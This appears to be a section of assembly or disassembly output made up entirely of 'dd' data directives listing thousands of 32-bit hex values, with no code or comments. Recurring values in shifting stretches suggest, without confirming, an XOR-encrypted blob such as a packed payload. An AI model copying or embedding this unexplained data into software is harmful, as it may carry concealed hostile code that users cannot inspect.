		dd 0E259ECEEh, 0DF89BF9Ch, 0C0FD329Ch, 0DBB8747Eh, 8FED3A13h
		dd 0F64F85ADh, 20D9EDD3h, 0DF89B842h, 7AE329Ch,	22C04D83h
		dd 73F97F44h, 2F39F623h, 0CEB73D96h, 0BB97959Fh, 0E254B163h
		dd 44B7329Ch, 0DF89BAB9h, 8E57329Ch, 0C212E7A9h, 0B77D23DDh
		dd 0BDB76B37h, 8B5E56BAh, 0BC0235BFh, 759329Ch,	0EB684811h
		dd 7CE04EFFh, 2F01876Ah, 6E59329Ch, 0AB6BC699h,	0E09F6467h
		dd 0E7209D74h, 0D3249438h, 0E0177A59h, 2791A1D3h, 0E2593337h
		dd 0A7A4515Fh, 17D6B60Ch, 0E259A784h, 4808889Ch, 24CFFD5Fh
		dd 0E2593330h, 0CD8764CCh, 367D4358h, 0CBDD9170h, 92D9DCB2h
		dd 0EDB0BC06h, 11C2B89Ah, 2C1F003Dh, 56BCD61Ch,	82BEB0E5h
		dd 0CD5FC4B3h, 0E259337Bh, 977BD032h, 0E2409884h, 0DDD40C9Ch
		dd 3BC44279h, 2D125A4Dh, 0A8B321Ch, 0E2408484h,	15BD459Ch
		dd 9886B6E2h, 3A2FA92Dh, 5FDCF879h, 13C50DDCh, 0A9DADF3Bh
		dd 0F4B7EB20h, 8C0BD029h, 9D84E960h, 0E56AB23Ch, 0B6B5349Fh
		dd 0E259336Eh, 0BB3719C6h, 44B6DD02h, 34D6F3DCh, 2EB87FA4h
		dd 0E2408584h, 0B0C8BD9Ch, 57B00AD5h, 61A056E1h, 808A98EAh
		dd 0E9ACF0DEh, 4CB7D7F5h, 913BC542h, 305AEEFh, 6E5C7F99h
		dd 0E259077Ah, 2D31329Ch, 21F7A71Ch, 5F4766EEh,	0E2593366h
		dd 2D487A63h, 94D920EEh, 0C03CDF3Ch, 0E240E384h, 7E7D5A9Ch
		dd 0AA6D3FBFh, 342DB280h, 0B8D9DCD4h, 0D8B5BF17h, 0E2593DE6h
		dd 0D8B9D29Ch, 0D8B948D3h, 0F7B7F12Bh, 1A0F94Ch, 0DF8A83A7h
		dd 7FDE329Ch, 24F24A70h, 108E1D25h, 0AA309F98h,	3E02B550h
		dd 0DF9EBC7Ah, 0CEB7329Ch, 0C6A5A4D1h, 38E4D032h, 550187D8h
		dd 0E959329Ch, 0C6457DC1h, 0B383E44Fh, 2E0BF7D9h, 0DFA182FDh
		dd 34A5329Ch, 0E27957DCh, 0B6B9AE80h, 0E259336Fh, 0D1F9ED4Ah
		dd 0D902A5A5h, 3159329Ch, 6188AC58h, 3866B1B0h,	0B75911D3h
		dd 0E164F8FCh, 4D023058h, 0BF59329Ch, 334BC4C0h, 36C8E795h
		dd 0B1112414h, 0E259329Ch, 0F1653834h, 453E4ACCh, 261A5117h
		dd 0E2593337h, 763F7B22h, 0B0CCABC7h, 0B1167A79h, 0E2593379h
		dd 8DD9FCD6h, 9C614575h, 0D867F279h, 0E259A6E3h, 0A32D209Ch
		dd 2A377A79h, 0E259337Ah, 0AEFF7F67h, 87D5204Ah, 0AEA23F71h
		dd 32D1C977h, 0D85038A5h, 0AC94A2Bh, 0DB1C7BC7h, 5B62DF4h
		dd 0E1B0B804h, 0D147482Bh, 0E2593368h, 164FB232h, 0E401DFEEh
		dd 259329Ch, 36382515h,	82B5C39Ch, 0C685421Ch, 6DA4C749h
		dd 0A5CAD4DCh, 0A1BA3509h, 1460003Ch, 0A07A003Dh, 0CE92EAF8h
		dd 373F4FB1h, 0AAD9EB02h, 0C53B8500h, 5365B232h, 0DFA2B859h
		dd 137C329Ch, 0B4DD3661h, 0E02950D1h, 0CEB7F12Bh, 0CEB8ACD5h
		dd 5E7254BEh, 0A93CDF1Dh, 0E2409984h, 94429Ch, 534441C7h
		dd 9EEA5F98h, 0DFA2BA0Eh, 0D865329Ch, 57FADD14h, 0B7CF93D8h
		dd 9110EC07h, 0E259077Ah, 2A35329Ch, 0E2593363h, 0EE413A06h
		dd 0DA54BC3Eh, 5502A357h, 9288F9AAh, 0BD28EC19h, 0DFA31863h
		dd 4D02329Ch, 0CF59329Ch, 57AED75h, 0E23C2A6Ch,	0BD59329Ch
		dd 0E24D2663h, 0E402329Ch, 0C359329Ch, 783DA97Fh, 98D4D5F7h
		dd 92ED8EC2h, 2C2DFB89h, 5B471176h, 0E2593336h,	0E240848Dh
		dd 0DB291C9Ch, 2339A28Ah, 227F7102h, 0A2ECF173h, 0E2592BD6h
		dd 0CB0E539Ch, 95C67D26h, 0BBB390A5h, 50C0BCB6h, 193C149Ah
		dd 0D54035F4h, 0E259336Dh, 0CEF98EE5h, 2FF8C305h, 0D8A2F14Fh
		dd 0E240F7E4h, 0DF84BF9Ch, 8C03329Ch, 0C1D35DBFh, 8ADD7D97h
		dd 48CFD4B2h, 0FA74E6E8h, 36CAB7BCh, 2729521Ch,	0AB10DF07h
		dd 8C3CD177h, 66B0471Ch, 31BA38FEh, 0CB4672A7h,	44B73C8Eh
		dd 0CB3119D4h, 27D908AEh, 2CF0337Eh, 9F5BD70Dh,	44B920EDh
		dd 0DF89BA87h, 98C329Ch, 0C9EB901Eh, 86BFE005h,	0DCD1887Dh
		dd 5A02A6F0h, 0F759329Ch, 3F7DFB99h, 665CCB0Bh,	0F6AF08DFh
		dd 18D5D207h, 0DFA1838Bh, 684B329Ch, 87CEA70Ch,	49033984h
		dd 4499EA6Fh, 56DA85D1h, 0C959329Ch, 0A40B0AA2h, 0AC9DFE7h
		dd 4F85F9F5h, 9410EFF4h, 0E240A53Ch, 7399329Ch,	2DECD180h
		dd 0E7B188Dh, 726EF2F3h, 0DF578316h, 2290329Ch,	6C1A28A4h
		dd 0FD300005h, 69FDBDEAh, 0DEED3614h, 0C0F1DC9Ch, 0AA0DB226h
		dd 3189BD08h, 0DC50AF1Ch, 1370032h, 0D82D4B0h, 0E259E284h
		dd 31A9F09Ch, 0C6B7F716h, 832B7B6Bh, 5F309300h,	0E24DA552h
		dd 0DA57329Ch, 0A5D82055h, 0C3518205h, 851D7E19h, 8C6CA23Fh
		dd 25D40C95h, 31B5D2FEh, 5502B7EEh, 0A259329Ch,	0E01CDDF7h
		dd 39F8A574h, 8C8CDFE0h, 432A301Ch, 475EAEEFh, 28473B8Ah
		dd 0DB5447C1h, 44B7FC2Bh, 0D8924167h, 0E24093E8h, 0E24DBA9Ch
		dd 34A329Ch, 593B2251h,	12F373DBh, 0EDA6F5CFh, 247AA2F8h
		dd 2EB8747Fh, 0DFBCBA05h, 92AB329Ch, 0B0B3BD8Fh, 0A3D147E6h
		dd 88D9DC9Dh, 27B865D8h, 0E2593330h, 81ECCC00h,	7E3AB933h
		dd 0A4D601FFh, 0B73BDC8Dh, 0DFBCA52Ch, 871329Ch, 21AFE6D1h
		dd 0CF8C71B0h, 0DF63BB6Ch, 0AE4B329Ch, 6AFCD9EAh, 61349B72h
		dd 3E6B5D96h, 0F8B93605h, 0BBBACB34h, 5C5ED6DDh, 0E24DBA55h
		dd 0E616329Ch, 23DD7AAFh, 7BEE2E20h, 0E4D48CCh,	0E0E302C3h
		dd 0D30119A0h, 8C59329Ch, 6B0A89C1h, 9D286A77h,	0E25986D6h
		dd 0CDBFA09Ch, 0B2E9E505h, 0F161139Ch, 80D6D50Fh, 0A6930C0Ch
		dd 0A038222Ch, 193CDF08h, 0B56BB51Ch, 6040902Eh, 0E259337Bh
		dd 451CD732h, 0E255B37Ah, 0DB01329Ch, 9659329Ch, 7C27B56h
		dd 0CA6E9796h, 0D18F713Bh, 3FB508DDh, 792FD598h, 28B9C4FAh
		dd 0DFA183D4h, 3558329Ch, 97D75FF4h, 4D023693h,	0B559329Ch
		dd 6631839Bh, 0E24D8260h, 9082329Ch, 0F8C22057h, 0A70D1ABFh
		dd 0CDABEE0Eh, 1CB8C61h, 620B317Dh, 0A5BBA6D2h,	0B33CA213h
		dd 0CECBC843h, 0F62A82A4h, 869F015Ch, 489E521Ch, 22C769C9h
		dd 0D88141C3h, 0E25819B0h, 0DF25299Ch, 0F759329Ch, 6D6E32ECh
		dd 38B7D50Dh, 44B72B16h, 4A49BDE9h, 9A34B20Dh, 0D55E6B10h
		dd 0E2593366h, 0A54A0032h, 0CB68F279h, 32EA87h,	77504D6Ah
		dd 0A1916329h, 0A93BC04Ch, 0AC3CDEF4h, 0DF84B163h, 5A01329Ch
		dd 0AE59329Ch, 0F113512h, 6E0020A1h, 4E0424C8h,	207BBCF4h
		dd 0C1F228EEh, 3DC954C5h, 88D9DCB9h, 0B4DFC815h, 4B67FC30h
		dd 0AE4BB232h, 44B6DFB0h
		dd 0E42DDB8Ch, 5F40F1D3h, 0E2593368h, 7E4AB232h, 0D2CED52Eh
		dd 0DB012DECh, 5059329Ch, 9A29D12Ah, 873F8CA0h,	0AF371A8Ah
		dd 316209E1h, 2A15F1Ch,	4A4020EEh, 0E259336Fh, 0E2593C84h
		dd 1EACAA9Ch, 31B8D6E3h, 1CC451Ch, 0D900680Ah, 559329Ch
		dd 0A8E5A48Dh, 5ECC5AB7h, 0E5FAE3FDh, 0ADB2CCB3h, 0C32E34C8h
		dd 0F19A68DDh, 0DD26EC2Dh, 0B159329Ch, 0E2593336h, 8F458D4h
		dd 2C0F9F48h, 4EB33B99h, 260AD00Ch, 0CEB685C8h,	0E1CB6CBAh
		dd 0E259A612h, 2128299Ch, 0A7F1DCD4h, 0DF8ABB5Dh, 6C4C329Ch
		dd 0A0E3EA4Fh, 0AADE89DCh, 0C3BB75CAh, 28AC6A62h, 0E00232EEh
		dd 7B59329Ch, 59A0F529h, 0D9C468D6h, 39A3B1C7h,	27C781BFh
		dd 0E259336Eh, 75191160h, 411257F9h, 145084CBh,	0DFA1187Ah
		dd 5C40329Ch, 0E2593366h, 3480032h, 41FCF1F1h, 8246D70Dh
		dd 0E259E2D7h, 1323D99Ch, 1B55A299h, 0E40F5B85h, 0E385287Eh
		dd 0DFA6BA55h, 0C4DA329Ch, 9CB8B475h, 1C8979CBh, 0A31EBC7Fh
		dd 24DA2D66h, 0AB4ABD0Ah, 2A48F27Ah, 0E259334Bh, 195D3B7h
		dd 9DA1A783h, 0BB4665FDh, 0B8A3A99Bh, 0F8024173h, 0E240849Bh
		dd 0EC94979Ch, 7F49E649h, 287AB6EEh, 27D91F14h,	0E2593292h
		dd 337C5BB6h, 0B664D627h, 0E259329Ch, 3CD42758h, 8A53B528h
		dd 0D8902B36h, 88B9EB2Bh, 3E37F38Eh, 0D8BAA2F9h, 0E2593CFAh
		dd 183EEF9Ch, 0D90056D9h, 4759329Ch, 0ABA39049h, 48769EFEh
		dd 38762FA2h, 0F333AA4Ah, 0B02F85B2h, 0E240E39Ah, 0E68C29Ch
		dd 133613BEh, 0B2D928F2h, 0E63B85CFh, 0FA59329Ch, 8A561AD0h
		dd 88A948EFh, 0C76CAAADh, 0DF860763h, 2E02329Ch, 4D59329Ch
		dd 0EC02EA04h, 7F34013Fh, 5C20A197h, 1D4DE31Eh,	5A368E1Ch
		dd 5B6C356h, 5340BEE4h,	0E2593363h, 0DF57AA63h,	0D440329Ch
		dd 0E259336Fh, 0E112B232h, 0DF8AB848h, 2C5A329Ch, 6C47B50h
		dd 1F2E16DFh, 76606550h, 0F4538E81h, 4E9FA81Ch,	3645B232h
		dd 0D45FC0EBh, 0E2593366h, 0A147F263h, 0E259E19Bh, 0D7C4C39Ch
		dd 0A07E1A04h, 0B05CAE3h, 0C031489h, 44FA6586h,	0F734B20Dh
		dd 2C1418BDh, 912F15EEh, 0A2C4D6EAh, 0E259E29Bh, 11A789Ch
		dd 0BAD41363h, 283AD49h, 0C56CA141h, 24DFCBF7h,	446FF27Ah
		dd 0C7173BD2h, 343DF3D0h, 32D354AAh, 31AF8AA7h,	0C840D0EEh
		dd 0E259336Dh, 0DE715AE5h, 0F4B685D1h, 0CEB87B5Bh, 5A839274h
		dd 4BD82A36h, 0B159329Ch, 0E2593379h, 0D62281E7h, 0B3AD5A43h
		dd 0ED34BD33h, 161A1B20h, 0E25B057Ah, 8B40329Ch, 0F63F3A6Ah
		dd 297949E5h, 0CEB6938Eh, 32EB3BD5h, 0CEB7AEEEh, 0B66B0A87h
		dd 0E2593361h, 0A2D687EDh, 0FD2F1C91h, 0A61D3148h, 452635E4h
		dd 4FF5D70Dh, 0D0D485D4h, 4259329Ch, 0E258197Ah, 27BA329Ch
		dd 0E2593335h, 9D51BC45h, 0A0DD6FB1h, 0F4F9E604h, 1DD9DF4Bh
		dd 0C997EA5Ah, 0B8C8093Eh, 0E259EE8Dh, 1A44349Ch, 3A9B8BF8h
		dd 2E37CB18h, 236E8B2Dh, 0D9BE1CD3h, 0DFBCA50Fh, 9AF0329Ch
		dd 0E7D7566Dh, 7DAD9666h, 0EA06B37Eh, 4800BCF4h, 0E2593D8Dh
		dd 0A93BD09Ch, 0ADC670B9h, 0E2409A8Dh, 257DE59Ch, 6E46E9BCh
		dd 0A93BDC9Fh, 7DAA2EEh, 0D820C538h, 0E259E284h, 0ECC2519Ch
		dd 14AEC952h, 17208393h, 4B5578BBh, 0DF3CEC3Bh,	1A59329Ch
		dd 0E1EB8CEFh, 5B64B2Bh, 5B7EEA3h, 340F186h, 1F2F85A5h
		dd 0E2592B84h, 6839409Ch, 98D9EC4Dh, 26B24085h,	3664E827h
		dd 550176F6h, 7059329Ch, 0C4168524h, 81894492h,	0C08FAF13h
		dd 52DF2A6Fh, 0C959329Ch, 82F5D3A2h, 2A3B1B31h,	0E2593361h
		dd 15C32E8Bh, 736DC62h,	88E777BCh, 0E4B30467h, 51021612h
		dd 5E59329Ch, 0BD862D50h, 1C4E9AF7h, 512185B4h,	4259329Ch
		dd 883C302Ch, 5425EC3Ch, 6259329Ch, 88A0C685h, 35076751h
		dd 0E259EF84h, 64F3CB9Ch, 88AD12DEh, 1F4727C2h,	44B9643Fh
		dd 8E2F858Ch, 2B4A0032h, 9D96481Ch, 0AC3C31DAh,	0DFA2A505h
		dd 54D4329Ch, 24C06F8Ch, 3FAE46B8h, 0D5CCD50Dh,	0E2553F7Ah
		dd 29BA329Ch, 0E24084D7h, 4647A19Ch, 7C72E1EAh,	0E3780134h
		dd 1A264A8Dh, 0CECB3AAh, 2B69003Dh, 0E255BD7Ah,	0CE40329Ch
		dd 0E2593347h, 0E259E18Dh, 0EAF55F9Ch, 773415EFh, 9A69749Bh
		dd 42ACC4A7h, 0E8643AF6h, 0F96F003Ch, 6B643A66h, 0E259EE84h
		dd 3B48049Ch, 598E0C9Ah, 147DFB28h, 5E809663h, 160D2C02h
		dd 0DFA5BAC2h, 3E9E329Ch, 5A3F6487h, 3A0E7374h,	10B7007Ch
		dd 0C03CDE69h, 0E254BC63h, 340329Ch, 0CEB733DCh, 0E1EC2474h
		dd 0E259BBEFh, 3024D29Ch, 0D3012A3Ch, 0D159329Ch, 44ACFBEFh
		dd 32D7324Eh, 704C821Ch, 883CDF0Ah, 0DE938514h,	9AD9DEA9h
		dd 5F40A1DCh, 0E259336Fh, 0DFA00463h, 0CD40329Ch, 0E2593291h
		dd 0F4B73EB7h, 0B53B165Ch, 0C61D8567h, 0DB59329Ch, 0E259A6EEh
		dd 103BDC9Ch, 0A12A1B2Ch, 0F667B23Ch, 0E25FBA0Ch, 5E79329Ch
		dd 0F50060B1h, 0E3DE6ACDh, 0BA99AA2Dh, 0E240BB67h, 0E3B5329Ch
		dd 693B5FE5h, 6E369ECDh, 0FBE36D84h, 5A0128E9h,	7C59329Ch
		dd 0A328E4CFh, 9A1C375Ah, 455613C9h, 0E259A784h, 510DE9Ch
		dd 0ECB706A9h, 27B0A2EDh, 0E2593337h, 0CF60FFEDh, 0E1B9ECCAh
		dd 0E240E384h, 0CB07FA9Ch, 42C15A51h, 4A40FF28h, 0E259337Bh
		dd 8214D732h, 0DF84A4F4h, 27F6329Ch, 4D0BA552h,	7668EE88h
		dd 3AD4A542h, 0B72040DCh, 0DCB385ACh, 3459329Ch, 2B4EB6A7h
		dd 0F4B7D6F9h, 9303F0A9h, 0E259E284h, 49C96A9Ch, 0DFB29101h
		dd 4A4E678h, 87E48777h,	4D3C859Eh, 4759329Ch, 0FC3BDFE9h
		dd 44B731EDh, 0E25883BDh, 0B589329Ch, 0D2B88877h, 8C282AE0h
		dd 0B33FB23Fh, 0A584E84Dh, 0E2563F79h, 89B9329Ch, 0A5203A2Fh
		dd 0E259E2D6h, 437AAC9Ch, 8DE74B56h, 6A252C2Ah,	29CD60A4h
		dd 27BAD3C1h, 0E259336Dh, 8AD0BF75h, 0CEB623D5h, 29CA0CACh
		dd 0DFBCBA0Fh, 507329Ch, 16B570EAh, 93D5F79Ch, 8BD5307Ch
		dd 0DA1E4188h, 9DEEC7A1h, 42434755h, 0E2598084h, 66DEF9Ch
		dd 0BEF0CC80h, 0F58BE26Ch, 0FFA5E899h, 2E6BA7F2h, 913C8DEEh
		dd 0C91AF27Ah, 0E968149Fh, 0DFBCBA27h, 0CCD6329Ch, 10845623h
		dd 698769C9h, 0DFA1A532h, 0E1D6329Ch, 9B78860Fh, 4D02AEA9h
		dd 0A659329Ch, 0B4A886A9h, 0B6DFC842h, 0E25B1878h, 340329Ch
		dd 3A62B28Dh, 0D30228DDh, 0FF59329Ch, 76642854h, 36F5DF5Eh
		dd 36C7A2EEh, 0EDB740EEh, 1A676722h, 0DF63BA21h, 0DA34329Ch
		dd 57B481C5h, 800E55E2h, 4895C874h, 9B51885Ch, 48DFEC08h
		dd 0DB59329Ch, 0E259BBE4h, 810BDC9Ch, 0BDD8EC0Bh, 0B159329Ch
		dd 0E259336Fh, 0A74C651Dh, 0D3028EE1h, 0FD59329Ch, 0C1B6B1EBh
		dd 319677DAh, 99698BAAh, 0E240989Bh, 6456ED9Ch,	5774234Eh
		dd 17931DC5h, 0E31B44D5h, 0E0028E26h, 9659329Ch, 0BCD5CD6Fh
		dd 964EA774h, 0D7913ED8h, 5101D8F2h, 5959329Ch,	3EB8E4F0h
		dd 0BB1DB9B8h, 0A8D9DCF1h, 5502AB11h, 0E659329Ch, 372F2F90h
		dd 3F214075h, 2C3DB7F7h, 0DF8ABB49h, 741D329Ch,	820D68FEh
		dd 74A974DBh, 72A7DD43h, 2A46E120h, 0E259337Fh,	5479A6FBh
		dd 1EB1246Ch, 3BC8FADAh, 8F1A8239h, 0A0100032h,	0DF8ABA08h
		dd 563A329Ch, 8118A32Dh, 73160170h, 0AE319F8Bh,	0E1CEF3D3h
		dd 0E2592A12h, 0DFBBBF9Ch, 0C06C329Ch, 32700302h, 0AB04DCE0h
		dd 0D86F000Dh, 0CE40812Bh, 0E259336Dh, 0E2581863h, 8A28329Ch
		dd 2D358DEEh, 66475AEEh, 0E2593379h, 0E259A78Dh, 1AD9789Ch
		dd 0DC2FD4CEh, 447142C9h
		dd 0B5DAD2D6h, 3B84C08Eh, 0E259A784h, 9F70779Ch, 0CEB9E780h
		dd 950FE0A6h, 0D87A196Dh, 0E25819FAh, 0F845979Ch, 0CE9A4E6Ch
		dd 45D846DCh, 0DFD4EC27h, 0BD59329Ch, 37D2D9DDh, 0FDD9DD78h
		dd 0A8D53778h, 0BEDA28E4h, 6BFA83C3h, 0D330B20Dh, 7310DF26h
		dd 513B85A1h, 0C959329Ch, 5377C089h, 48222A6Eh,	0DB59329Ch
		dd 5CCB442Bh, 5CCE08A2h, 5340B5BEh, 0E2593291h,	303BEBEEh
		dd 0E25B1B7Ah, 0BCD9329Ch, 0E25FA50Ah, 94A329Ch, 0E4395D5Fh
		dd 4359E2FBh, 998213AAh, 0E240989Bh, 329FE19Ch,	0F45F6855h
		dd 1A5A6101h, 0E44A7A7Ah, 0E259A6E6h, 5010299Ch, 985956A7h
		dd 8EDADF06h, 0D44704C8h, 0E259337Bh, 6EBFC32h,	0E259E1D7h
		dd 7664159Ch, 79F5DF5Eh, 0E0E73613h, 0B4281809h, 0F787E403h
		dd 0DF6B267Ah, 5B40329Ch, 0E259336Fh, 0E3C0EC0Ah, 8C59329Ch
		dd 0D9357679h, 0E240848Dh, 0ED84B99Ch, 6EDD9AEFh, 3AF553D4h
		dd 0D8B5795Bh, 44B7A22Bh, 541E8477h, 6259329Ch,	5A02B7D7h
		dd 0BF59329Ch, 0CE07B659h, 0B78BB103h, 6875E0CAh, 0DF86627Ah
		dd 2E02329Ch, 0D459329Ch, 16933DA1h, 12698A7h, 976098B9h
		dd 0D3F99EC2h, 0ED7F48E5h, 5C4094E9h, 0E259334Bh, 0E25E6263h
		dd 0C602329Ch, 7E59329Ch, 0EE9EB262h, 0A26EB86Dh, 4469F279h
		dd 0F645B285h, 0E1CD481Ch, 0E2593C1Ch, 0A18E799Ch, 0D9010C04h
		dd 0A359329Ch, 0DDDCF7ACh, 6246A2EDh, 7C8CCFE7h, 0E56D0576h
		dd 5E0305B7h, 6FD371D7h, 0DF9EB87Fh, 5095329Ch,	36B02839h
		dd 0E1D18229h, 0E240881Ch, 0E5DF299Ch, 2A59329Ch, 0E2593330h
		dd 2F0556A1h, 499E86EDh, 8F5A38CAh, 44CBD32Bh, 2E288587h
		dd 0B159329Ch, 0E2593335h, 35898B27h, 233E608Fh, 417341A3h
		dd 2AECEA0Dh, 31B9A1CCh, 0C872B81Ch, 5D2B5E1Ch,	0CEBA3593h
		dd 0DEA9FBD2h, 2A486E5Fh, 0E2593368h, 0A431D1D9h, 0C5F3B081h
		dd 40DC4EACh, 37985C1Ah, 0D4D75ECAh, 9541D1EAh,	0EC8C2F2Bh
		dd 560BA8E5h, 4220AE0h,	7DEE782Eh, 2FFC6E51h, 0D4F4D1E5h
		dd 0D4FD3F37h, 88F23EEAh, 531CD2Ch, 409BF7C4h, 0DE2A648h
		dd 0D1AB58BBh, 0FE2ED1EAh, 197818CAh, 1A2939B4h, 0A4664684h
		dd 0C28C9619h, 54FDCAD1h, 0D4F4D116h, 9BF33F47h, 8BCCF683h
		dd 19237E18h, 24F4D1EAh, 0BDD9531Dh, 9DFE6A9Ch,	0BDF9E0F9h
		dd 0D4F4DC94h, 0D11371EAh, 1D5CEE93h, 737C0E9Fh, 58696F46h
		dd 56FDD779h, 0D4F4D1DDh, 0D4F42737h, 990D18EAh, 85590696h
		dd 4B1A09B2h, 679F57D1h, 0B7C4F8ECh, 65FD3452h,	0E87B7227h
		dd 9E9E673Eh, 2B0A6704h, 0DF877C5h, 0D4F48D03h,	4DFB57EAh
		dd 95A06123h, 0E437631Ah, 0EDFDC5E8h, 19793BFDh, 0BDF4D1EAh
		dd 0D4FB4463h, 3E0951EAh, 0D4FD3F2Dh, 0E65A02EAh, 0CC6FB29h
		dd 70BEF0ACh, 0D4F48C01h, 0C87666EAh, 6551F6C2h, 0F0A005BCh
		dd 49C7BE7Fh, 8A60FA1h,	0AA1D6A76h, 0D4F4C902h,	723EA6EAh
		dd 589396A1h, 483834A8h, 1DB1B5CCh, 9E6E86C4h, 0D1CE211Bh
		dd 0AEA7D1EAh, 50ABC461h, 7D8FE092h, 0D4F458A7h, 0A09BD1EAh
		dd 0D3EC7037h, 304C3EDh, 0C6692BDh, 207A4520h, 0BE9FBF79h
		dd 0B0D888B7h, 7A97B63Dh, 130582D3h, 0D4F42403h, 80595AEAh
		dd 8C74CED5h, 83C8F107h, 27297D5Dh, 0AC2373B3h,	0A8F4D1EAh
		dd 9A179CBAh, 0FC247395h, 0FDAA4E11h, 0A3D03795h, 0A63BA6B7h
		dd 0D6E8023Fh, 0D4FD2697h, 0D1825EEAh, 0AC34D1EAh, 3EE90338h
		dd 0F82BF544h, 0D4F4D18Dh, 0EF12B202h, 0F6B56210h, 0C296F5B7h
		dd 0D1CD53F9h, 1401D1EAh, 0D4F458B6h, 2DE8D1EAh, 12BCCF2Ch
		dd 347B7930h, 0A4537F0Bh, 0A00F82B5h, 0FCF4D1EAh, 0D4F4D110h
		dd 0E59DB351h, 4C2605F2h, 8632832Ah, 0D4F42601h, 3A3C87EAh
		dd 0C4631170h, 0C9D830EFh, 91D2E94h, 0A0B59CA1h, 0D4F48D02h
		dd 0B081EEAh, 3206B77Ah, 4B12757h, 0BEF7A815h, 0FC7BF729h
		dd 7EA4A691h, 543C5E69h, 0EDFDC764h, 8C7B7222h,	86BABEBh
		dd 79D3306Bh, 0D4F458A7h, 1079D1EAh, 0BE8F3DB4h, 9E6950C5h
		dd 0AB4750F2h, 0F2F4D1EAh, 45A57584h, 0A259A851h, 0AF476F20h
		dd 8BF4D1EAh, 34F51ACAh, 0B98F3C87h, 18D3E532h,	0AF5282B2h
		dd 54F4D1EAh, 0F9734A28h, 0D4F4D117h, 91F47C51h, 270A1B58h
		dd 801B53BCh, 0D4F4D201h, 0FE43A0EAh, 9EBB643Dh, 27F3D928h
		dd 0C2A68C12h, 0D4FB4461h, 1F1973EAh, 516BCA90h, 7FE06C0Bh
		dd 9E696B89h, 0D180583Ch, 37AAD1EAh, 0AE3A2D01h, 0B191953Bh
		dd 0FD297223h, 40696E1Dh, 651F2D2Bh, 78AD0D0Eh,	0D1A7A0E3h
		dd 406ED1EAh, 88B22323h, 0D4F4D1E6h, 1A5EF5B9h,	0FB528B3Bh
		dd 0F7E5AB51h, 0A853C9A4h, 0F40C90BCh, 0D7DD2E87h, 409F6BFDh
		dd 540D32D0h, 0F41017AEh, 671390D8h, 5CA8A025h,	0CBDDB7D9h
		dd 8BC05CE5h, 6AC36A7Ch, 680ED5F4h, 0F40C90DBh,	707E53Dh
		dd 418C7104h, 6096C18Ah, 4F55AB06h, 4649154Fh, 832A452Eh
		dd 0F3F60DC2h, 9D2390D8h, 38320FB7h, 0B08D748Fh, 600EAB2Eh
		dd 0F40C90C5h, 0F407B637h, 4A53B7D8h, 62C457D8h, 0FE0BDFAAh
		dd 0F407B91Dh, 8EECEFD8h, 7F811445h, 500D987Dh,	3936FF04h
		dd 0F40C90C9h, 6CB8C429h, 503ECF2Bh, 0C8D01B2Ah, 0DA0B9BB8h
		dd 0ABB44AE7h, 0F40C90C8h, 648B93D3h, 0F3BDDB22h, 7F5BB4CCh
		dd 861579Bh, 0AE8D6924h, 92A3DD72h, 0F3F636C2h,	9C8D90D8h
		dd 7C94495Eh, 0F40C8820h, 9F3FB2D8h, 1691B40Eh,	4E665503h
		dd 0CD87A12Ch, 740EBB4Ah, 0F40C90C9h, 0F32AC1B8h, 0BA0C90D8h
		dd 0C0C4C20Fh, 443C4B65h, 0D9430F85h, 25971E63h, 1032EF59h
		dd 0D944B686h, 240C90D8h, 0B781C8F4h, 0EADCF7A6h, 0E6768813h
		dd 0AC0C90D8h, 0F40C90C5h, 0B429E261h, 9E3EC91Ah, 8C792222h
		dd 0A599F161h, 4FB5E656h, 3F63D44Fh, 0F15F63FCh, 700C90D8h
		dd 1D365554h, 0E2B1A548h, 6D3B2CD2h, 0A46C55FDh, 0F40718CFh
		dd 0F3AA90D8h, 9FB0A1DCh, 0D4ED1542h, 949F0557h, 0E4606789h
		dd 4D0C90D8h, 88BD9B64h, 0F3FA94C2h, 720790D8h,	0F40C90D5h
		dd 0DE25C1ADh, 740C90D8h, 60962B1Bh, 2D8E9A07h,	0F40C911Eh
		dd 7184FED8h, 0EF09A673h, 0F40C9440h, 0B89773D8h, 0D538CD58h
		dd 0C51BFB55h, 3839FE93h, 0F3F611BFh, 3A3B90D8h, 0A065D1B5h
		dd 0F3F6A010h, 8EB490D8h, 0DBB5D54Dh, 0B14AB312h, 673AC7A3h
		dd 8323C198h, 0BD0F458h, 0E6444BE3h, 0E40C90D8h, 0E00E29Fh
		dd 949C63EDh, 0F22E79A7h, 9D232583h, 0F40C9220h, 859483D8h
		dd 7C6E31F1h, 0F407B71Dh, 0C438BFD8h, 0C9D4B961h, 0B66CDD59h
		dd 79421165h, 29E2C4AAh, 0B13FC189h, 0B08D67AFh, 22018ED9h
		dd 0F3C19BC3h, 609690D8h, 394CAB2Dh, 0F40C90BEh, 279DA391h
		dd 0F474E82Fh, 0D5C181B6h, 0EF4D3661h, 0F40CBD40h, 0F3C118D8h
		dd 91ED90D8h, 0EEF17D52h, 0F40C944Fh, 0C34573D8h, 660C90D8h
		dd 0D268C904h, 718EFE94h, 7BE17C45h, 0DEE9265Ah, 0C529F661h
		dd 0B2E9FE58h, 0F407B71Dh, 738C9CD8h, 109D4181h, 1AE436F0h
		dd 0F40C1C1Eh, 0F68F26D8h, 0FAB4BCE5h, 0CA1801ECh, 0F40CC420h
		dd 629015D8h, 3B80ECF4h, 0BCF19F8Ch, 0CA96F442h, 0C276BA26h
		dd 0AC0C90D8h, 0F40C90C3h, 0D9FD11E4h, 0CDFE137Bh, 9EA949F9h
		dd 0EEB32655h, 0F407BF40h, 0F42A87D8h, 3C0C90D8h, 0E4440343h
		dd 0A50C90D8h, 340C6B8Fh, 64EB460Eh, 4E8D6D7Fh,	1F979E3Bh
		dd 5257151h, 0F3AA15F2h, 828090D8h, 683DC032h, 4090E17Ch
		dd 0F3DD18D9h, 0F8A190D8h, 0DAE6B2F4h, 0AE3EBC37h, 0CE6BC45h
		dd 0A840CF9Eh, 0F40C90D6h
		dd 55601E5Eh, 9AD258B5h, 0AC042FD5h, 0F40C90BEh, 1D3A81C0h
		dd 76461471h, 0E037373Dh, 0EE5712A3h, 59E6D1D3h, 0B7147038h
		dd 0F40C90DAh, 9394C0F8h, 60DE2997h, 0E713A406h, 70767ABh
		dd 0A92A7106h, 395257C2h, 0F40C90D6h, 50E6E496h, 0E58CBA0Bh
		dd 0D40C90D8h, 38FC3DB7h, 0F40C90CAh, 86FE7BA7h, 0E1DE13D1h
		dd 0CD70EE1Eh, 12C5AAB2h, 42536D53h, 0EEF007C9h, 0F407B53Ch
		dd 0DE2A87D8h, 740C90D8h, 0E986F1FFh, 0F407AF40h, 0F3DD18D8h
